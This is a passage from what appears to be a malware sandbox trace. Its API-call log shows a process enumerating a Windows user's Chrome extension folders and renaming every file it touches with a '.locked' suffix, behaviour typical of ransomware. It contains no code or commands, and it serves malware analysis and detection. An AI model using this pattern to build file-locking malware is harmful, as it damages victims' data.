lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2e12840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2e12840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.042] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2e12840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2e12840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.132] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.locked"), dwFlags=0x2) returned 1 [0134.234] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.locked"), dwFlags=0x2) returned 1 [0134.237] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.locked"), dwFlags=0x2) returned 1 [0134.239] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.locked"), dwFlags=0x2) returned 1 [0134.241] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.locked"), dwFlags=0x2) returned 1 [0134.325] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.locked"), dwFlags=0x2) returned 1 [0134.333] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.locked"), dwFlags=0x2) returned 1 [0134.358] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.locked"), dwFlags=0x2) returned 1 [0134.361] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.locked"), dwFlags=0x2) returned 1 [0134.747] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.locked"), dwFlags=0x2) returned 1 [0135.282] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.locked"), dwFlags=0x2) returned 1 [0135.290] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.locked"), dwFlags=0x2) returned 1 [0135.296] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.locked"), dwFlags=0x2) returned 1 [0135.406] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.locked"), dwFlags=0x2) returned 1 [0135.413] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.locked"), dwFlags=0x2) returned 1 [0135.416] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.locked"), dwFlags=0x2) returned 1 [0135.418] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.locked"), dwFlags=0x2) returned 1 [0135.420] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.locked"), dwFlags=0x2) returned 1 [0135.422] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.locked"), dwFlags=0x2) returned 1 [0135.425] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.locked"), dwFlags=0x2) returned 1 [0135.427] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.locked"), dwFlags=0x2) returned 1 [0135.959] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.locked"), dwFlags=0x2) returned 1 [0136.645] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.locked"), dwFlags=0x2) returned 1 [0136.693] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.locked"), dwFlags=0x2) returned 1 [0136.977] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.locked"), dwFlags=0x2) returned 1 [0137.056] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.locked"), dwFlags=0x2) returned 1 [0137.471] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.locked"), dwFlags=0x2) returned 1 [0137.539] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.locked"), dwFlags=0x2) returned 1 [0137.556] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.locked"), dwFlags=0x2) returned 1 [0137.702] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 